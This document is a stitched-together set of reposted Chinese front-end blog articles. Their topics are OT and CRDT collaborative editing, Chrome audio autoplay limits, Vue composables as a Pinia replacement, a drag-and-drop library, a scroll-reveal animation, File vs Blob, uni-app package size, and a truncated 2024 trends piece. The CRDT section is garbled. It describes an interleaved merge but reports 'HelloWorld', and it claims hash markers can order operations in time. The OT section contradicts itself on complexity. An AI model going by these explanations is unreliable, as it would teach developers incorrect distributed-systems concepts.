接下来,我们先聊聊 OT 算法。
OT 算法
当多个用户同时编辑同一文档时,OT算法通过操作转换来保持文档状态的一致性。下面是一个简单的示例,帮助你理解OT算法的工作原理。
假设有两个用户 A 和 B 同时编辑一段文本,初始文本为 "Hello, world!"。
用户 A
在文本末尾添加了字符 " How are you?"。
用户 B
在文本末尾添加了字符 " I'm fine."。
在 OT 算法中,每个操作都由一个操作类型和操作内容组成。在这个例子中,添加字符操作的操作类型为 "insert",操作内容为被插入的字符。
用户 A 的操作序列为:[insert(" How are you?")]
用户 B 的操作序列为:[insert(" I'm fine.")]
首先,服务器收到用户 A 的操作序列,将其应用到初始文本上,得到 "Hello, world! How are you?"。然后,服务器收到用户 B 的操作序列,将其应用到初始文本上,得到 "Hello, world! I'm fine."。
接下来,服务器需要进行操作转换,将用户 B 的操作序列转换为适应用户 A 的文本状态。在这个例子中,用户 B 的操作 "insert(" I'm fine.")" 需要转换为适应 "Hello, world! How are you?" 的操作。
操作转换
的过程如下:
- 用户 A 的操作 "insert(" How are you?")" 在用户 B 的操作 "insert(" I'm fine.")"
之前
发生,因此用户 B 的操作不会受到影响。 - 用户 B 的操作 "insert(" I'm fine.")" 在用户 A 的操作 "insert(" How are you?")"
之后
发生,因此用户 B 的操作需要向后移动。 - 用户 B 的操作 "insert(" I'm fine.")"
向后移动
到 "Hello, world! How are you? I'm fine."。
最终,服务器将转换后的操作序列发送给用户 A 和用户 B,他们将其应用到本地文本上,最终得到相同的文本状态 "Hello, world! How are you? I'm fine."。
这个例子展示了 OT 算法如何通过操作转换来保持多个用户同时编辑时文档状态的一致性。在实际应用中,OT 算法需要处理更复杂的操作类型和情况,并进行更详细的操作转换。
接下来,我们聊聊 CRDT 算法:
CRDT 算法
当多个用户同时编辑同一文档时,CRDT(Conflict-free Replicated Data Type,无冲突复制数据类型)算法通过设计特定的数据结构和操作规则来实现冲突自由的复制。下面是一个简单的示例,帮助你理解CRDT算法的工作原理。
在CRDT算法中,文档被表示为一个数据结构,常见的数据结构之一是有序列表(Ordered List)。每个用户的编辑操作会被转换为操作序列,并应用到本地的有序列表上。
假设有两个用户 A 和 B 同时编辑一段文本,初始文本为空。用户 A 在文本末尾添加了字符 "Hello",用户 B 在文本末尾添加了字符 "World"。
在CRDT算法中,每个字符都被赋予一个唯一的标识符,称为标记
(Marker)。在这个例子中,我们使用递增的整数作为标记。
用户 A 的操作序列为:[insert("H", 1), insert("e", 2), insert("l", 3), insert("l", 4), insert("o", 5)]
用户 B 的操作序列为:[insert("W", 6), insert("o", 7), insert("r", 8), insert("l", 9), insert("d", 10)]
每个操作都包含要插入的字符以及对应的标记。
当用户 A 应用自己的操作序列时,有序列表变为 "Hello"。同样地,当用户 B 应用自己的操作序列时,有序列表变为 "World"。
接下来,服务器需要将两个用户的操作序列合并为一致的文本状态。在CRDT算法中,合并的过程是通过比较标记的大小来确定字符的顺序,并确保最终的文本状态一致。
合并的过程如下:
- 用户 A 的操作序列中的标记小于用户 B 的操作序列中的标记,因此 "H" 在 "W" 之前。
- 用户 A 的操作序列中的标记小于用户 B 的操作序列中的标记,因此 "e" 在 "o" 之前。
- 用户 A 的操作序列中的标记小于用户 B 的操作序列中的标记,因此 "l" 在 "r" 之前。
- 用户 A 的操作序列中的标记小于用户 B 的操作序列中的标记,因此 "l" 在 "l" 之前。
- 用户 A 的操作序列中的标记小于用户 B 的操作序列中的标记,因此 "o" 在 "d" 之前。
最终,合并后的有序列表为 "HelloWorld"。
这个例子展示了CRDT算法如何通过设计特定的数据结构和操作规则,以及比较标记的大小来实现冲突自由的复制。在实际应用中,CRDT算法可以应用于各种数据结构和操作类型,并进行更复杂的合并过程。
CRDT 的标记实现方案
- 递增整数标记:最简单的标记实现方式是使用递增的整数作为标记。每个操作都会分配一个唯一的整数标记,标记的大小可以用来比较操作的发生顺序。
- 时间戳标记:另一种常见的标记实现方式是使用时间戳作为标记。每个操作都会被分配一个时间戳,可以使用系统时间或逻辑时钟来生成时间戳。时间戳可以用来比较操作的发生顺序。
- 向量时钟标记:向量时钟是一种用于标记并发事件的数据结构。每个操作都会被分配一个向量时钟标记,向量时钟由多个节点的时钟组成,每个节点维护自己的逻辑时钟。向量时钟可以用来比较操作的发生顺序,并检测并发操作之间的关系。
- 哈希值标记:有些情况下,可以使用操作内容的哈希值作为标记。每个操作的内容都会被哈希为一个唯一的标记,这样可以通过比较哈希值来比较操作的发生顺序。
方案选型
OT算法和CRDT算法都是用于实现实时协同编辑的算法,但它们有不同的优点、缺点和工作原理。
OT算法的优点:
- 简单性:OT算法相对较简单,易于理解和实现。
- 实时协同编辑:OT算法可以实现实时协同编辑,多个用户可以同时编辑文档,并通过操作转换保持文档状态的一致性。
OT算法的缺点:
- 操作转换复杂性:OT算法的操作转换过程相对复杂,需要考虑多种情况和操作类型,实现和测试上有一定的挑战。
- 需要服务器参与:OT算法需要中央服务器来处理操作转换,这可能会导致一定的延迟和依赖性。
CRDT算法的优点:
- 冲突自由:CRDT算法设计了特定的数据结构和操作规则,可以实现冲突自由的复制,多个用户同时编辑时不会发生冲突。
- 去中心化:CRDT算法可以在去中心化的环境中工作,不依赖于中央服务器进行操作转换,每个用户可以独立地进行编辑和合并。
CRDT算法的缺点:
- 数据结构复杂性:CRDT算法的数据结构和操作规则相对复杂,需要更多的设计和实现工作。
- 数据膨胀:CRDT算法可能会导致数据膨胀,特别是在复杂的编辑操作和大规模的协同编辑场景下。
OT算法和CRDT算法的区别:
- 算法原理:OT算法通过操作转换来保持文档状态的一致性,而CRDT算法通过设计特定的数据结构和操作规则来实现冲突自由的复制。
- 中心化 vs. 去中心化:OT算法需要中央服务器进行操作转换,而CRDT算法可以在去中心化的环境中工作,每个用户都有完整的本地数据,可以将操作发送给服务器,然后网络分发到其他客户端。
- 复杂性:OT算法相对较简单,但在处理复杂操作和转换时可能会变得复杂;CRDT算法相对复杂,需要更多的设计和实现工作。
选择使用哪种算法取决于具体的应用场景和需求。OT算法适用于需要实时协同编辑的场景,而CRDT算法适用于去中心化和冲突自由的场景。
总结
本文介绍了在线协同文档编辑器中解决冲突的算法,主要包括OT算法和CRDT算法。OT算法通过操作转换来保持文档状态的一致性,而CRDT算法通过设计特定的数据结构和操作规则实现冲突自由的复制
。OT算法需要中央服务器进行操作转换,适用于需要实时协同编辑的场景。CRDT算法可以在去中心化环境中工作,每个用户都有完整的本地数据,适用于去中心化和冲突自由的场景。选择使用哪种算法取决于具体的应用场景和需求。
来源:juejin.cn/post/7283018190593785896
audio自动播放为什么会失败
背景
某天客户报了一个问题,说是大屏的声音不能自动播放了,我们的大屏应用是有个报警的,当有报警的时候,自动会播放警报的声音
复线步骤
测试后发现如下结论
- 当刷新页面后,audio不会自动播放
- 当从另外的一个页面进入到当前页面,可以直接播放声音
如果你想测试,可以点我进行测试
你可以先点击上方链接的 尝试一下 ,下方为截图
这个时候你会听到一声马叫声
然后,你刷新下马叫声的页面,这个时候声音的自动播放将不会生效
报错问题排查
打开控制台,不出意外看到了一个报错信息。
翻译为中文的意思为
不允许的错误。播放失败,因为用户没有先与文档交互。goo.gl/xX8pDD
尝试解决
那我给通过给body添加点击事件,自动触发点击事件,在点击的事件后自动播放声音。
(当是我的想法是,这个大概率是不行的,chrome应该不会忽略这一点,不然这个功能就相当于不存在)
经过测试后,发现确实还不行,在意料中。
参考别人的网站,用抖音测试
想到了我们可以参考抖音,我用抖音的进行测试,当你不做任何的操作,页面应该如下
我们从这里得出结论,这个应该是浏览器的限制,需要查看官方文档,看看原因
查阅官方文档
我截取了一些关键的信息
注意浏览器会有一个媒体互动指数,这是浏览器自动计算的,该分越高,才会触发自动播放
查看电脑的媒体互动指数
在url上输入 about://media-engagement,你会看到如下的截图,
经过测试后 当网站变成了is High,音频会自动播放,不会播放失败。
这就解释了为什么有的网站可以自动播放声音,有的网站不可以自动播放声音
ok,我们继续往下看,这个时候看到了一些关键的信息。
作为开发者,我们不应该相信音频/视频会播放成功,要始终在播放的回掉中来进行判断
看到这些,我们来模仿抖音的实现.在播放声音的catch的时候,显示一个错误的弹窗,提示用户,当用户点击的时候,自动播放声音
this.alarmAudio = new Audio(require("@/assets/sound/alarm.mp3"));
this.alarmAudio
.play()
.then(() => {
this.notifyId && this.notifyId.close();
})
.catch((error) => {
if (error instanceof DOMException) {
// 这里可以根据异常类型进行相应的错误处理
if (error.name === "NotAllowedError") {
if (this.notifyId) return;
this.notifyId = Notification({
title: "",
duration: 0,
position: "bottom-left",
dangerouslyUseHTMLString: true,
onClick: this.onAudioNotifyConfirm,
showClose: false,
customClass: "audio-notify-confirm",
message:
"<div style='color:#fff;font-size:18px;cursor:pointer'>因浏览器限制,需<span style='color:#ff2c55'>点击打开声音</span></div>",
});
}
}
});
实现效果如下
总结
- 在用到video或者audio的时候,要始终不相信他会播放声音成功,并且添加catch处理异常场景,给用户友好的提示
- video或者audio的自动播放跟媒体互动指数有关(MEI),当媒体指数高,会自动播放,否则需要用户先交互后,audio才可以自动播放。
- 从一个页面window.open另外一个页面可以自动播放声音,当刷新页面后,需要有高的MEI,audio才会自动播放,如果你需要在后台打开一个大屏的页面,刚好可以这样设计,不要用页面跳转
来源:juejin.cn/post/7412505754383007744
Vue3真的不需要用pinia!!!
前言
之前使用vue3都是在公司的基建项目中,为了快速达到目的,把以前vue2的模板拿来简单改改就直接用了,所以项目中用法特别乱,比如:状态管理依旧用的vuex
,各种类型定义全是any
,有些代码是选项式API,有些代码是组合式API...
最近终于有时间推动一下业务项目使用vue3
了。作为极简主义的我,始终奉行少即是多,既然是新场景,一切从新,从头开始写模版:
- 使用最新的vue3版本
v3.5.x
。 - 所有使用的内部库全部生成
ts
类型并引入到环境中。 - 将所有的
mixins
重写,包装成组合式函数。 - 将以前的
vue
上的全局变量挂载到app.config.globalProperties
。 - 全局变量申明类型到
vue-runtime-core.d.ts
中,方便使用。 - 全部使用
setup
语法,使用标签<script setup lang="ts">
- 使用
pinia
作为状态管理。
pinia使用
等等,pinia
?好用吗?打开官方文档研究了下,官方优先推荐的是选项式API的写法。
调用defineStore
方法,添加属性state, getters, actions
等。
export const useCounterStore = defineStore('counter', {
state: () => ({ count: 0, name: 'Eduardo' }),
getters: {
doubleCount: (state) => state.count * 2,
},
actions: {
increment () {
this.count++
},
},
})
使用的时候,调用useCounterStore
即可。
import { useCounterStore } from '@/stores/counter'
import { computed } from 'vue'
const store = useCounterStore()
setTimeout(() => {
store.increment()
}, 1000)
const doubleValue = computed(() => store.doubleCount)
看上去还不错,但是我模版中全部用的是组合式写法,肯定要用组合式API,试着写了个demo
,ref
就是选项式写法中的state
,computed
就是选项式中的getters
,function
就是actions
。
// useTime.ts
import { defineStore } from 'pinia'
import { computed, ref } from 'vue'
import vueConfig from '../../../common/config/vueConfig'
import * as dayjs from 'dayjs'
export default defineStore('time', () => {
const $this = vueConfig()
const time = ref<number>()
const timeFormat = computed(() => dayjs(time.value).format('YYYY-MM-DD HH:mm:ss'))
const getSystemTime = async () => {
const res = await $this?.$request.post('/system/time')
time.value = Number(res.timestamp)
}
return { timeFormat, getSystemTime }
})
调用时解构赋值,就可以直接用了。
// index.vue
<script setup lang="ts">
import { onMounted } from 'vue'
import useTime from './use/useTime'
const { timeFormat, getSystemTime } = useTime()
onMounted(async () => {
// 请求
await getSystemTime()
console.log('当前时间:', timeFormat)
})
</script>
优雅了很多,之前用vuex
时还有个问题,storeA
中的state、actions
等,会在storeB
中使用,这一点pinia
文档也有说明,直接在storeB
调用就好了,比如我想在另一个组件中调用上文中提到的timeFormat
。
defineStore('count', () => {
const count = ref<number>(0)
const { timeFormat } = useTime()
return {
count,
timeFormat,
}
})
怎么看着这么眼熟呢,这不就是组合式函数吗?为什么我要用defineStore
再包一层呢?试一试不用pinia
,看能不能完成状态管理。
组合式函数
直接添加一个useCount.ts
文件,申明一个组合式函数。
// useCount.ts
import { computed, ref } from 'vue'
const useCount = () => {
const count = ref<number>(0)
const doubleCount = computed(() => {
return count.value * 2
})
const setCount = (v: number) => {
count.value = v
}
return {
count,
doubleCount,
setCount,
}
}
export default useCount
使用时直接解构申明,并使用。
import useCount from './use/useCount'
const { count, setCount } = useCount()
onMounted(async () => {
console.log('count', count.value) // 0
setCount(10)
console.log('count', count.value) // 10
})
最大的问题来了,如何在多个地方共用count
的值呢,这也是store
最大的好处,了解javascript
函数机制的我们知道useCount
本身是一个闭包,每次调用,里面的ref
就会重新生成。count
就会重置。
import useCount from './use/useCount'
const { count, setCount } = useCount()
const { doubleCount } = useCount()
onMounted(async () => {
console.log('count', count.value, doubleCount.value) // 0 0
setCount(10)
console.log('count', count.value, doubleCount.value) // 10 0
})
这个时候doubleCount
用的并不是第一个useCount
中的count
,而是第二个重新生成的,所以setCount
并不会引起doubleCount
的变化。
怎么办呢?简单,我们只需要把count
的声明暴露在全局环境中,这样在import
时就会申明了,调用函数时不会被重置。
import { computed, ref } from 'vue'
const count = ref<number>(0)
const useCount = () => {
const doubleCount = computed(() => {
return count.value * 2
})
const setCount = (v: number) => {
count.value = v
}
return {
count,
doubleCount,
setCount,
}
}
export default useCount
当我们多次调用时,发现可以共享了。
import useCount from './use/useCount'
const { count, setCount } = useCount()
const { doubleCount } = useCount()
onMounted(async () => {
console.log('count', count.value, doubleCount.value) // 0 0
setCount(10)
console.log('count', count.value, doubleCount.value) // 10 20
})
但是这个时候count
是比较危险的,store
应该可以保护state
不被外部所修改,很简单,我们只需要用readonly
包裹一下返回的值即可。
import { computed, readonly, ref } from 'vue'
const count = ref<number>(0)
const useCount = () => {
const doubleCount = computed(() => {
return count.value * 2
})
const setCount = (v: number) => {
count.value = v
}
return {
// readonly可以确保引用对象不会被修改
count: readonly(count),
doubleCount,
setCount,
}
}
export default useCount
总结
经过我的努力,vue3
又减少了一个库的使用,我就说不需要用pinia
,不过放弃pinia
也就意味着放弃了它自带的一些方法store.$state
,store.$patch
等等,这些方法实现很简单,很轻松就可以手写出来,如果你是这些方法的重度用户,保留pinia
也没问题,如果你也想代码更加精简,赶紧尝试下组合式函数吧。
来源:juejin.cn/post/7411328136740847654
拖拽神器:Pragmatic-drag-and-drop!
哈喽,大家好 我是
xy
👨🏻💻。今天给大家分享一个开源
的前端最强
拖拽组件 —pragmatic-drag-and-drop
!
前言
在前端开发中,拖拽功能
是一种常见的交互方式,它能够极大提升用户体验。
今天,我们要介绍的是一个开源的前端拖拽组件 — pragmatic-drag-and-drop
,它以其轻量级
、高性能
和强大的兼容性
,成为了前端开发者的新宠。
什么是 pragmatic-drag-and-drop?
pragmatic-drag-and-drop
是由 Atlassian
开源的一款前端拖拽组件。
Atlassian
,作为全球知名的软件开发公司,其核心产品 Trello
、Jira
和 Confluence
都采用了 pragmatic-drag-and-drop
组件。
这不仅证明了该组件的实用性和可靠性,也反映了 Atlassian
对前端交互体验的极致追求。
组件的作者:Alex Reardon
,也是流行 React
开源拖拽组件 react-beautiful-dnd
的开发者。
pragmatic-drag-and-drop
继承了作者对拖拽交互的深刻理解,支持多种拖拽场景,包括列表
、面板
、表格
、树
、网格
、绘图
和调整大小
等。
为什么选择 pragmatic-drag-and-drop?
- 轻量化:核心包大小仅为
4.7KB
,轻量级的体积使得它在加载速度上具有优势。 - 灵活性:提供
无头
(headless)解决方案,开发者可以完全自定义视觉效果和辅助技术控制。 - 框架无关性:适用于
所有主流前端框架
,如 React、Svelte、Vue 和 Angular。 - 高性能:支持
虚拟化
,适应各种复杂的用户体验,确保拖拽操作流畅。 - 全平台覆盖:在
所有主流浏览器
和移动设备
上运行良好,包括 Firefox、Safari、Chrome 以及 iOS 和 Android 设备。 - 无障碍支持:为
非鼠标操作
用户提供友好体验,确保所有用户都能享受拖拽体验。
应用场景
pragmatic-drag-and-drop
功能适用于多种场景,包括但不限于:
- 任务管理应用:通过拖放操作,轻松实现卡片式任务列表的排序与整理。
- 文档管理系统:简化文件夹和文件的移动与组织过程,提高工作效率。
- 在线编辑器:提供直观的内容布局调整体验,增强用户自定义能力。
- 数据可视化工具:允许用户动态调整图表元素位置,实现更丰富的信息展示。
- 设计工具:在组件库中轻松排列组合元素,激发创意无限可能。
案例演示
列表拖拽排序:
面板拖拽:
表格拖拽排序:
树形节点拖拽:
绘图功能鼠标拖动:
可拖动棋子的棋盘:
在线演示地址:https://atlassian.design/components/pragmatic-drag-and-drop/examples
最后
如果觉得本文对你有帮助,希望能够给我点赞支持一下哦 💪 也可以关注wx公众号:
前端开发爱好者
回复加群,一起学习前端技能 公众号内包含很多实战
精选资源教程,欢迎关注
来源:juejin.cn/post/7406139000265752639
「滚动绽放」页面滚动时逐渐展示/隐藏元素
本文将介绍如何使用HTML
、CSS
和JavaScript
代码实现页面在滚动时元素逐渐出现/隐藏。这个动画效果会在用户滚动/隐藏页面时从不同方向逐渐显示出一组彩色方块🏳️🌈
HTML结构
首先,HTML
部分包含了一个<section>
元素和一个名为container
的容器,其中包含了多个box
元素。别忘了引入外部CSS和JS文件;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="./style.css">
<title>Scroll To Reveal Animation</title>
</head>
<body>
<section>
<h2>Scroll To Reveal</h2>
</section>
<div class="container">
<!-- 调试CSS样式阶段 -->
<!-- <div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div> -->
</div>
<script src="./index.js"></script>
</body>
</html>
CSS样式
接着,设置一些基本的全局样式和居中布局、背景颜色和文字颜色;
- 关于
container
容器,使用grid布局三列。 - 对于
box
容器,这部分CSS
伪类代码定义了元素在动画中的位置和缩放变换。解释一下每个选择器的作用:
.box:nth-child(3n + 1)
:选择容器中每隔3个元素的第一个方块元素(这里表示第一列)。沿X轴向左平移400像素,缩放为0,即隐藏起来。.box:nth-child(3n + 2)
:选择容器中每隔3个元素的第二个方块元素(这里表示第二列)。沿Y轴向下平移400像素,缩放为0。.box:nth-child(3n + 3)
:选择容器中每隔3个元素的第三个方块元素(这里表示第三列)。沿X轴向右平移400像素,缩放为0。
这些选择器定义了方块元素的初始状态,使它们在页面加载时处于隐藏状态。并且预设了.box.active
激活状态的样式。
- 将其平移到原始位置并恢复为原始尺寸,即显示出来。当滚动触发相应的事件时,方块元素将根据添加或移除
active
类来决定是逐渐显示或隐藏。
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: Arial, Helvetica, sans-serif;
}
body {
display: flex;
flex-direction: column;
justify-content:center;
align-items: center;
background-color: #111;
color: #fff;
overflow-x: hidden;
}
section {
min-height: 100vh;
display: flex;
justify-content:center;
align-items: center;
}
section h2 {
font-size: 8vw;
font-weight: 500;
}
.container {
width: 700px;
position: relative;
top: -200px;
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 30px;
}
.container .box {
width: 200px;
height: 200px;
background-color: #fff;
border-radius: 10px;
position: relative;
top: 50vh;
transition: .5s;
}
.container .box:nth-child(3n + 1) {
transform: translate(-400px, 0) scale(0);
}
.container .box:nth-child(3n + 2) {
transform: translate(0, 400px) scale(0);
}
.container .box:nth-child(3n + 3) {
transform: translate(400px, 0) scale(0);
}
.container .box.active {
transform: translate(0, 0) scale(1);
}
表现
JavaScript实现
最后,使用JavaScript
生成每个方块并设置了随机的背景颜色,随后将它们添加到container
容器中,通过监听滚动事件,使方块在用户滚动页面时根据位置添加类名否,应用CSS样式实现逐渐显示或隐藏;
- 定义
randomColor
函数,用于生成随机的颜色值。这个函数会从一组字符中随机选择6个字符(每次循环随机取一个)作为颜色代码,并将其拼接成一个十六进制颜色值返回。 - 获取container容器元素,并创建一个文档片段
fragment
用于存储循环创建出来带有背景色的.box
方块元素,最后将文档片段附加到container中。 - 定义
scrollTrigger
函数,绑定到窗口的滚动事件上。在这个函数中,遍历每个方块,检查相对于窗口顶部的偏移量,如果小于等于当前滚动的距离,则添加active类,显示方块。反之,则移除active类,隐藏方块。
/**创建随机色 */
const randomColor = () => {
const chars = "1234567890abcdef",
colorLegh = 6;
let color = '#';
for (let i = 0; i < colorLegh; i++) {
const p = Math.floor(Math.random() * chars.length);
color += chars.substring(p, p + 1);
};
return color;
};
/**创建DOM */
const container = document.querySelector('.container'),
fragment = document.createDocumentFragment();
for (let i = 0; i < 60; i++) {
const box = document.createElement('div');
box.style.backgroundColor = randomColor();
box.classList.add('box');
fragment.appendChild(box);
};
container.appendChild(fragment);
/**创建动画 */
const randomColorBlock = document.querySelectorAll('.box');
const scrollTrigger = () => {
randomColorBlock.forEach((box) => {
if (box.offsetTop <= window.scrollY) {
box.classList.add('active')
} else {
box.classList.remove('active')
}
});
};
window.addEventListener('scroll', scrollTrigger);
总结
通过本篇文章的详细介绍,相信能够帮助你更好地使用CSS
和JavaScript
来创建一个滚动显示元素动画,从而理解掌握和应用这个效果。通过设置合适的样式和脚本来控制元素的显示和隐藏为网页提供了生动和吸引力。
希望这篇文章对你在开发类似交互动画效果时有所帮助!如果你对这个案列还有任何问题,欢迎在评论区留言或联系(私信)我。码字不易🥲,不要忘了三连鼓励🤟,谢谢阅读,Happy Coding🎉!
源码我放在了GitHub,里面还有一些酷炫的效果、动画案列,喜欢的话不要忘了 starred
不迷路!
来源:juejin.cn/post/7280926568854781987
前端中的 File 和 Blob两个对象到底有什么不同❓❓❓
JavaScript 在处理文件、二进制数据和数据转换时,提供了一系列的 API 和对象,比如 File、Blob、FileReader、ArrayBuffer、Base64、Object URL 和 DataURL。每个概念在不同场景中都有重要作用。下面的内容我们将会详细学习每个概念及其在实际应用中的用法。
接下来的内容中我们将来了解 File和 Blob 这两个对象。
blob
在 JavaScript 中,Blob(Binary Large Object)对象用于表示不可变的、原始的二进制数据。它可以用来存储文件、图片、音频、视频、甚至是纯文本等各种类型的数据。Blob 提供了一种高效的方式来操作数据文件,而不需要将数据全部加载到内存中,这在处理大型文件或二进制数据时非常有用。
我们可以使用 new Blob() 构造函数来创建一个 Blob 对象,语法如下:
const blob = new Blob(blobParts, options);
- blobParts: 一个数组,包含将被放入 Blob 对象中的数据,可以是字符串、数组缓冲区(ArrayBuffer)、TypedArray、Blob 对象等。
- options: 一个可选的对象,可以设置 type(MIME 类型)和 endings(用于表示换行符)。
例如:
const blob = new Blob(["Hello, world!"], { type: "text/plain" });
Blob 对象主要有以下几个属性:
- size: 返回 Blob 对象的大小(以字节为单位)。
console.log(blob.size); // 输出 Blob 的大小
- type: 返回 Blob 对象的 MIME 类型。
console.log(blob.type); // 输出 Blob 的 MIME 类型
Blob 对象提供了一些常用的方法来操作二进制数据。
slice([start], [end], [contentType])
该方法用于从 Blob 中提取一部分数据,并返回一个新的 Blob 对象。参数 start 和 end 表示提取的字节范围,contentType 设置提取部分的 MIME 类型。
const blob = new Blob(["Hello, world!"], { type: "text/plain" });
const partialBlob = blob.slice(0, 5);
text()
该方法将 Blob 的内容读取为文本字符串。它返回一个 Promise,解析为文本数据。
blob.text().then((text) => {
console.log(text); // 输出 "Hello, world!"
});
arrayBuffer()
该方法将 Blob 的内容读取为 ArrayBuffer 对象,适合处理二进制数据。它返回一个 Promise,解析为 ArrayBuffer 数据。
const blob = new Blob(["Hello, world!"], { type: "text/plain" });
blob.arrayBuffer().then((buffer) => {
console.log(buffer);
});
stream()
该方法将 Blob 的数据作为一个 ReadableStream 返回,允许你以流的方式处理数据,适合处理大文件。
const stream = blob.stream();
Blob 的使用场景
Blob 对象在很多场景中非常有用,尤其是在 Web 应用中处理文件、图片或视频等二进制数据时。以下是一些常见的使用场景:
- 生成文件下载
你可以通过 Blob 创建文件并生成下载链接供用户下载文件。
const blob = new Blob(["This is a test file."], { type: "text/plain" });
const url = URL.createObjectURL(blob); // 创建一个 Blob URL
const a = document.createElement("a");
a.href = url;
a.download = "test.txt";
a.click();
URL.revokeObjectURL(url); // 释放 URL 对象
当我们刷新浏览器的时候发现是可以自动给我们下载图片了:
- 上传文件
你可以通过 FormData 对象将 Blob 作为文件上传到服务器:
const formData = new FormData();
formData.append("file", blob, "example.txt");
fetch("/upload", {
method: "POST",
body: formData,
}).then((response) => {
console.log("File uploaded successfully");
});
- 读取图片或其他文件
通过 FileReader API 可以将 Blob 对象读取为不同的数据格式。举例来说,你可以将 Blob 读取为图片并显示在页面上:
html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Documenttitle>
head>
<body>
<input type="file" id="fileInput" accept="image/*" />
<div id="imageContainer">div>
<script>
const fileInput = document.getElementById("fileInput");
const imageContainer = document.getElementById("imageContainer");
fileInput.addEventListener("change", function (event) {
const file = event.target.files[0];
if (file && file.type.startsWith("image/")) {
const reader = new FileReader();
reader.onload = function (e) {
const img = document.createElement("img");
img.src = e.target.result;
img.style.maxWidth = "500px";
img.style.margin = "10px";
imageContainer.innerHTML = "";
imageContainer.appendChild(img);
};
reader.readAsDataURL(file);
} else {
alert("请选择一个有效的图片文件。");
}
});
script>
body>
html>
- Blob 和 Base64
有时你可能需要将 Blob 转换为 Base64 编码的数据(例如用于图像的内联显示或传输)。可以通过 FileReader 来实现:
const reader = new FileReader();
reader.onloadend = function () {
const base64data = reader.result;
console.log(base64data); // 输出 base64 编码的数据
};
reader.readAsDataURL(blob); // 将 Blob 读取为 base64
File
File 是 JavaScript 中代表文件的数据结构,它继承自 Blob 对象,包含文件的元数据(如文件名、文件大小、类型等)。File 对象通常由用户通过 选择文件时创建,也可以使用 JavaScript 构造函数手动创建。
<input type="file" id="fileInput" />
<script>
document.getElementById("fileInput").addEventListener("change", (event) => {
const file = event.target.files[0];
console.log("文件名:", file.name);
console.log("文件类型:", file.type);
console.log("文件大小:", file.size);
});
script>
最终输出结果如下图所示:
我们可以使用 File 的方式来访问用户上传的文件,我们也可以手动创建 File 对象:
const file = new File(["Hello, world!"], "hello-world.txt", {
type: "text/plain",
});
console.log(file);
File 对象继承了 Blob 对象的方法,因此可以使用一些 Blob 对象的方法来处理文件数据。
- slice(): 从文件中获取一个子部分数据,返回一个新的 Blob 对象。
const blob = file.slice(0, 1024); // 获取文件的前 1024 个字节
- text(): 读取文件内容,并将其作为文本返回(这是 Blob 的方法,但可以用于 File 对象)。
file.text().then((text) => {
console.log(text); // 输出文件的文本内容
});
- arrayBuffer(): 将文件内容读取为 ArrayBuffer(用于处理二进制数据)。
file.arrayBuffer().then((buffer) => {
console.log(buffer); // 输出文件的 ArrayBuffer
});
- stream(): 返回一个 ReadableStream 对象,可以通过流式读取文件内容。
const stream = file.stream();
总结
Blob 是纯粹的二进制数据,它可以存储任何类型的数据,但不具有文件的元数据(如文件名、最后修改时间等)。
File 是 Blob 的子类,File 对象除了具有 Blob 的所有属性和方法之外,还包含文件的元数据,如文件名和修改日期。
你可以将 File 对象看作是带有文件信息的 Blob。
const file = new File(["Hello, world!"], "hello.txt", { type: "text/plain" });
console.log(file instanceof Blob); // true
二者在文件上传和二进制数据处理的场景中被广泛使用。Blob 更加通用,而 File 更专注于与文件系统的交互。
来源:juejin.cn/post/7413921824066551842
uni-app小程序超过2M怎么办?
一、开发版
开发版可以调整上限为4M
开发者工具 -> 详情 -> 本地设置 -> 预览及真机调试时主包、分包体积上限调整为4M -> 勾选
二、体验版、正式版
上传代码时,主包必须在2M以内。
小程序tabbar页面必须放在主包。
推荐除了tabbar页面以外,其余的都放在分包。其实只要这样做了,再复杂的小程序,主包代码都很难超过2M,但如果是uni-app开发的,那就不一定了。
uni-app优化
开发环境压缩代码
使用cli创建的项目
在package.json
,script
中设置压缩:在命令中加入--minimize
"dev:mp-weixin": "cross-env NODE_ENV=development UNI_PLATFORM=mp-weixin vue-cli-service uni-build --watch --minimize",
使用hbuilderx创建的项目
顶部菜单栏点击运行 -> 运行到小程序模拟器 -> 运行时是否压缩代码 -> 勾选
开启压缩后,开发环境的小程序代码体积会大大降低
uni.scss优化
uni-app项目创建后会自带一个uni.scss
文件,这个文件无需手动引入,会自动引入到每一个页面文件,所以尽量不要在这个文件内写公共css代码。
我接手的一个uni-app小程序项目,随着功能迭代,打包代码主包体积越来越接近2M,终于有一天写完一个功能,突然就达到了2.2M,无法上传了。参考小程序提供的代码依赖分析,发现wxss
文件占用了大部分体积,于是我就去一个个搜,看某个class有没有被用到,没用到的就删掉,可是再怎么优化冗余代码,也无法降到2M以下。
直到我看到了uni.scss
文件,除了里面自带的一些颜色变量代码,另外还加了700行的公共class,然后我在根目录新建一个assets/common.scss
文件,把那700行代码移出去,在App.vue
内引入
@import './assets/common.scss'
主包体积瞬间降到了1.41M
总结
重要的事情说三遍
- 不要在uni.scss文件内写公共css代码
- 不要在uni.scss文件内写公共css代码
- 不要在uni.scss文件内写公共css代码
来源:juejin.cn/post/7411334549739733018
2024 前端趋势:全栈也许已经是必选项
《2023 的 Javascript 星趋势》在 1 月就出来了,当时略略看了一下,并没有想太多。
过年期间,回想起来,似乎感觉到这次有一点不一样:也许,全栈的时代已经到来了。
React 与 Vue 生态对比
首先,我们来看看 React 与 Vue 生态的星趋势对比:
上图中,React 整个生态的星星数远超于 Vue,第十名都要比 Vue 第一名的多。我们将其做一个分类:
排名 | React | Vue |
---|---|---|
1 | UI | 全栈 |
2 | 白板 | 演示文稿 |
3 | 全栈 | 后台管理系统 |
4 | 状态管理 | hook |
5 | 后台管理系统 | UI |
6 | 文档 | 文档 |
7 | 全栈框架集成 | UI |
8 | 全栈框架UI | 框架 |
9 | 后台管理系统 | UI |
10 | 无服务栈 | 状态管理 |
可以看到 React 这边的生态链基本成熟,几乎每一个分类都有一个上榜的库,不再像 Vue 那样还在卷 UI 框架。
在全栈方面,Vue 的首位就是全栈 Nuxt。
